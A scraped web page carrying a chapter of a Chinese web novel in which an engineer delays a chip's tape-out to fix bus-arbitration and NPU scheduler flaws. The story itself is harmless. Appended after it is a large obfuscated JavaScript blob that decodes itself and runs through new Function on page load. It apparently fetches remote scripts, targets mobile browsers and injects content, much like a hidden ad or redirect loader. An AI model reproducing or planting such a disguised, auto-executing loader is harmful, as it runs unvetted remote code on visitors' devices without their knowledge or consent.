首页
第325章 天权4号片上系统
返回
关灯 护眼:关 字号:小

第325章 天权4号片上系统集成验证

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    验证中心在芯谷的地下二层。
    不是刻意要把晶片验证藏在地下,而是这片区域的地质结构最适合建超低振动实验室。地面上三层是晶片设计中心和软体开发区,地下一层是高性能计算集群,地下二层才是真正的验证核心——四间恒温恒湿的洁净室,中间围着一个两百平方米的系统集成验证大厅。大厅的天花板上铺满了减震模块,走在上面几乎感觉不到任何振动,连脚步声都被吸音材料吞掉了大半。
    章宸站在大厅中央的调度台前,面前是六块八十寸的显示墙,每块墙上都滚动着天权4号片上系统集成验证的实时数据流。六组验证工程师分布在四间洁净室里,每组负责一个子系统——CPU复合体丶GPU集群丶NPU引擎丶内存控制器丶IO子系统丶电源管理单元。六条数据流在显示墙上汇聚成一张巨大的「验证覆盖图」,绿色代表通过丶黄色代表边界丶红色代表失败。
    现在是天权4号集成验证的第七十三天。
    按照原计划,集成验证应该在本周内完成全部测试项,然后进入最终签核丶送交流片。但章宸在三天前的晨会上做了一个让所有人意外的决定——暂停验证,回退两个版本,重新跑一组跨子系统的协同用例。
    做出这个决定的原因是:验证团队发现了一个极其隐蔽的问题。在单独测试CPU复合体和NPU引擎时,两个子系统都表现完美,性能达到设计指标的百分之一百零二。但当CPU和NPU同时高负载运行时,系统总线的延迟会出现间歇性的抖动,抖动幅度虽然只有不到百分之一,但频率分布不均匀——在某些特定的访问模式下,延迟会在几个微秒内突然跳变,然后又恢复。
    (请记住读台湾小说选台湾小说网,??????????.??????超流畅网站,观看最快的章节更新)
    这不是一个「功能错误」,因为系统规范允许的延迟抖动范围比这个大得多。但章宸在看到那组数据后,说了一句话:「这不是功能问题,是性格问题。天权4号如果在用户手里跑某些特定应用时出现这种不可预测的延迟抖动,用户不会知道是总线的锅,他们只会觉得『天权晶片有时候会卡一下』。我们不能让『有时候会卡一下』这种印象和天权晶片绑定在一起。」
    于是回退。
    于是重跑。
    今天是重跑的第三天。
    调度台的屏幕右上角有一个倒计时,显示距离原定流片窗口还有十九天。十九天后,晶圆厂的产能窗口就会关闭,下一轮窗口要再等六周。六周意味着天衡5的量产可能会延迟,意味着天权5的叠代节奏会被打乱,意味着对面全面制裁落地时天权晶片的库存可能不够。
    但章宸没有压缩验证时间的打算。他在回退那天对团队说了一句话:「流片晚了六周,我们可以用库存和排产来补。晶片出了问题,没有任何东西能补。」
    此刻,显示墙上的验证覆盖图正在缓慢地由黄转绿。经过两天的调试,总线延迟抖动的问题已经被定位到CPU和NPU共享的最后一级缓存仲裁逻辑上——仲裁器在某种极端访问模式下会出现「饥饿」现象,某个数据流会因为优先级设置不当而被连续推迟服务。修复方案是在仲裁器中增加一个「老化计数器」,确保任何数据流等待超过一定时间后优先级自动提升。
    这个修复已经在仿真环境中验证通过,今天上午被集成到完整的验证用例中重新跑。
    章宸没有盯着显示墙看,而是坐在调度台旁边的椅子上,面前是一台只显示原始数据日志的终端。他的眼睛在那些十六进位的地址和数据之间来回扫,速度比旁边专门负责日志分析的工程师还快。这不是天赋,是过去二十年里看了几百万行日志练出来的本能。
    赵静从电梯里走出来,手里端着一杯已经凉透的咖啡。她是被章宸叫来的——总线延迟抖动问题的根因虽然找到了,但修复方案涉及NPU引擎的数据预取策略调整,需要小芯团队确认这个调整会不会影响AI模型的推理精度。
    「跑了三组基准模型,」赵静把一份对比报告放在章宸面前,「精度差异在万分之二以内,统计上不显着。小芯的判断是——可以接受。」
    章宸没有看报告,而是问了赵静一个问题:「万分之二的精度差异,在百万级用户规模下,会有多少人感觉到『好像不如以前准了』?」
    赵静愣了一下。她没想到章宸会问这个问题,因为这已经超出了技术范畴,进入了用户感知的模糊地带。但她只用了不到一秒就给出了答案:「不会有人感觉到。万分之二的差异,连专业评测机构的标准化测试都测不出来,更别说普通用户了。」
    章宸点了点头,把报告收下,放在调度台的文件夹里。
    「还有一个问题,」赵静说,「小芯在天权4号的NPU引擎上跑一组新模型的适配测试时,发现了一个奇怪的现象——某些卷积层的计算效率比预期低了大概百分之七。不是所有层,只是某些特定的kernelsize和stride组合。小芯的分析结论是,NPU引擎的硬体调度器在这些特定参数下没有完全流水线化,有气泡。」
    章宸的表情变了。不是紧张,而是专注——那种发现了猎物痕迹时的专注。
    「哪些kernelsize?」
    赵静把一组参数写在便签上,递给章宸。3x3stride2丶5x5stride2丶7x7stride3,以及一组扩张卷积的参数。
    章宸看完,在便签背面画了一个简单的示意图。NPU引擎的硬体调度器在处理卷积运算时,会将输入特徵图和权重加载到片上缓存,然后由计算阵列执行乘加运算。在某些kernelsize和stride组合下,计算阵列的利用率会下降,因为数据加载的速度跟不上计算的速度,或者计算结果写回的带宽成为瓶颈。
    「这个问题能修吗?」赵静问。
    「能修,但要看代价。」章宸站起来,走到显示墙前,调出NPU引擎的微架构图。「调度器的流水线控制逻辑是硬连线,不是微码。如果要改,需要修改RTL,重新跑综合丶时序丶物理设计。代价是流片至少推迟四周。」
    赵静沉默了。四周,加上已经回退的两天,天权4号的流片窗口可能会彻底错过,下一轮窗口要等六周后,总计延迟可能达到十周。
    「但如果不修,」章宸说,「这个百分之七的效率损失就会永远留在天权4号的NPU引擎里。天权4号的生命周期至少三年,出货量可能超过一亿颗。每一颗晶片在跑某些模型时都会慢百分之七。这个代价,比流片晚十周更大。」
    章宸在显示墙上画了一条红线,把NPU调度器的问题列为「P0级」——最高优先级,必须在流片前解决。
    赵静没有异议。她知道章宸是对的。在晶片验证中,最痛苦的不是发现问题,而是发现了问题却选择视而不见,因为怕影响进度。而每一次视而不见,都会变成一颗晶片整个生命周期里无法抹去的瑕疵。
    下午两点,验证大厅里多了一组人——NPU微架构设计团队的核心成员。他们从设计中心赶过来,带着RTL代码丶仿真脚本和时序报告。调度台旁边的白板上开始出现各种电路图和时间波形,讨论声越来越大,偶尔夹杂着争论。
    争论的焦点不是「修不修」,而是「怎么修」。
    方案A:修改调度器的流水线控制逻辑,增加一组专门处理这些特定参数的旁路路径。优点是彻底解决问题,副作用小。缺点是RTL改动较大,需要重新验证的范围也大,至少需要四周。
    方案B:不改硬体,改软体——在NPU驱动中增加一个「参数重映射表」,当应用提交这些低效率的卷积参数时,驱动自动将其转换为等效但效率更高的参数组合。优点是无需改硬体,不影响流片时间。缺点是这个「等效转换」不是对所有模型都成立,某些模型的精度可能会受影响。
    方案C:部分修改硬体——只改调度器中与这些特定参数相关的比较器逻辑,不改流水线结构。优点是RTL改动小,验证范围可控,大约需要两周。缺点是不能完全解决所有低效率场景,只解决了最严重的那几个。
    章宸听完三个方案,在白板上写下了一组判断标准。
    第一,天权4号的生命周期内,这些低效率卷积参数出现的频率有多高?
    NPU架构师调出了过去六个月小芯平台上所有模型的卷积参数统计。3x3stride2出现在超过百分之六十的模型中,5x5stride2出现在百分之三十左右,扩张卷积出现在约百分之十五的模型中。这些不是边缘场景,而是主流场景。
    第二,不改硬体只改软体,对模型精度的影响有多大?
    赵静让团队跑了十组代表性模型的对比测试。方案B的等效转换在八组模型上精度无损,在一组模型上精度下降百分之零点三,在最后一组模型上精度下降百分之一点一。百分之一点一的下降对于某些应用来说可能不可接受。
    第三,部分修改硬体能覆盖多少场景?
    方案C的覆盖范围是:3x3stride2和5x5stride2可以完全解决,扩张卷积只能解决一部分。总体覆盖率大约百分之八十五。
    章宸把三个方案的优缺点在白板上列完后,在方案A上画了一个圈。
    「改完整。不改部分,不workaround。天权4号不能带着一个『某些模型会慢百分之七』的标签出厂。用户不会理解『这是为了赶进度做的妥协』,他们只会觉得天权晶片不行。」
    NPU架构师点了点头,把方案A的任务拆解成具体的RTL修改点,分配给团队的三个工程师。每个修改点都标注了完成时间和验证负责人。
    章宸补充了一个要求:「RTL修改完成后,不仅要重跑所有已有的验证用例,还要增加一组专门的压力测试,把调度器的所有可能状态都覆盖到。我不希望流片后发现还有别的参数组合有类似问题。」
    调度台上的倒计时被章宸亲手改掉了。原来的「19天」变成了「33天」——四周的RTL修改和验证,加上一周的缓冲。
    这个改变意味着天权4号的流片将错过原定的窗口,下一轮窗口在六周后,实际流片时间比原计划延迟了五周。五周的延迟会影响天衡5的量产排期丶天权5的叠代节奏丶以及天权晶片的整体库存策略。
    章宸在改完倒计时后,给陈醒发了一条消息:「天权4号集成验证发现NPU调度器问题,需要改RTL,流片延迟五周。理由:不改的话,某些AI模型效率会低百分之七,且无法通过软体完全补偿。」
    陈醒的回覆在三分钟后到了,不是文字,是一张截图。截图里是一份文档,标题是《天权晶片设计哲学·第一条》。文档内容只有一行字:「晶片是承诺,不是妥协。」
    章宸看着那行字,把终端收起来,继续调度验证工作。
    夜里,验证大厅的灯还亮着。
    NPU设计团队的三名工程师坐在洁净室里,面前是RTL代码的编辑界面。他们要改的调度器逻辑分布在七个模块里,最核心的那个模块有超过两千行代码。改动虽然不大,但每一行都要小心——在晶片设计里,修改一个比较器的逻辑可能会影响几百条相关路径的时序。
    章宸没有走。他搬了一把椅子,坐在调度台旁边,不是在盯着谁干活,而是在等——等任何一个团队需要他做决策的时候,他能第一时间出现。
    晚上九点,NPU团队完成了第一个模块的修改,开始跑局部仿真。仿真需要大约四十分钟,这四十分钟里,三个工程师靠在椅子上,闭了一会儿眼。他们从上午九点一直干到现在,中间只吃了一顿盒饭。
    章宸让助理从食堂带了热汤面上来,每人一碗。面有些坨了,但汤还是热的。三个人端着碗,蹲在洁净室的地上吃,没有人说话。吃完后,他们把碗放在门口,洗手,戴好静电手环,回到屏幕前。
    仿真结果出来了——第一个模块的修改通过了局部验证,时序收敛,功能正确。
    章宸在那项任务后面打了一个勾,然后说了一句让所有人松了一口气的话:「今晚就到这里。明天上午继续。回去睡觉,别在代码里留bug。」
    三个人收拾东西离开洁净室,走过调度台的时候,都看了那面显示墙一眼。验证覆盖图上,NPU调度器那一栏还是黄色——代表「修改中,验证未完成」。但他们知道,明天或者后天,它会变成绿色。
    章宸最后一个离开验证大厅。他关掉调度台上的大部分屏幕,只留下一面显示实时日志的终端。大厅暗了下来,只有那面终端的萤光映在减震地板上,像一汪安静的水。
    他站在大厅中央,最后看了一眼那面显示墙。倒计时显示「33天」,NPU调度器那栏是黄色的,总线仲裁器那栏已经变成了绿色——修复方案通过了全部验证。
    章宸在心里过了一遍天权4号集成验证的所有关键节点。CPU复合体已经跑了超过两万个测试用例,通过率百分之九十九点九七,剩下的百分之零点零三是边缘情况,不影响流片。GPU集群的图形和计算测试全部通过,性能达标。内存控制器通过了全部压力测试,带宽和延迟都在设计范围内。IO子系统的PCIe丶USB丶显示接口全部验证完成。电源管理单元的低功耗模式切换经过了超过一万次循环测试,没有发现异常。
    唯一卡住的,就是NPU调度器。
    而这唯一卡住的地方,也是最不能妥协的地方。
    章宸走出验证大厅,关上门。门上的绿灯亮了,表示里面的人员已经全部离开,环境参数开始切换到待机模式。
    他沿着走廊往电梯走去,经过地下一层的高性能计算集群机房时,透过玻璃窗看见里面一排排机柜的指示灯在闪烁。那些机器里正在跑着天权4号成千上万个仿真任务,有的已经跑完,有的还在继续。它们不休息,不需要吃饭,不需要睡觉,只需要电和冷却水。
    但设计晶片的人需要休息。
    章宸走进电梯,按了一楼。电梯门关上之前,他最后看了一眼地下二层走廊尽头那扇紧闭的门。门的另一面,是那个倒计时丶那面显示墙丶那个黄色的标记,和三个还在等待验证结果的修改模块。
    电梯门关上了。
    芯谷的地面上,夜风比地下凉得多。章宸走出主楼,抬头看了一眼天空。云层散了一些,露出几颗星星。他认不出那些星星的名字,也不在乎。他在乎的是头顶那颗不存在的「天权星」——中国古代星官里,天权是北斗七星里最暗的一颗,但它是北斗的一部分,缺了它,北斗就不完整。
    天权4号也是这样。它不是未来科技晶片产品线里最亮的那颗星,但没有它,天权系列就不完整,天衡5的供应链就不安全,天枢生态的终端覆盖就有缺口。
    章宸收回目光,往停车场走去。
    明天还要继续改RTL,继续跑仿真,继续盯验证。
    他走了几步,终端震动了。是NPU团队的工程师发来的消息,不是文字,是一张截图。截图里是某个模块修改后的时序报告,最差负余量从原来的负零点零三纳秒变成了正零点零二纳秒。
    时序收敛了。
    章宸在那条消息下面回复了一个字:「好。」
    然后他继续往停车场走,脚步比刚才轻了一点。不是因为他放松了,而是因为他知道,在那间地下二层的验证大厅里,即使所有人都走了,那些仿真任务还在跑,那些数据还在积累,那个黄色的标记正在一点一点地变成绿色。
    明天早上,当他再次走进那扇门的时候,验证覆盖图上可能会多几块绿色。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();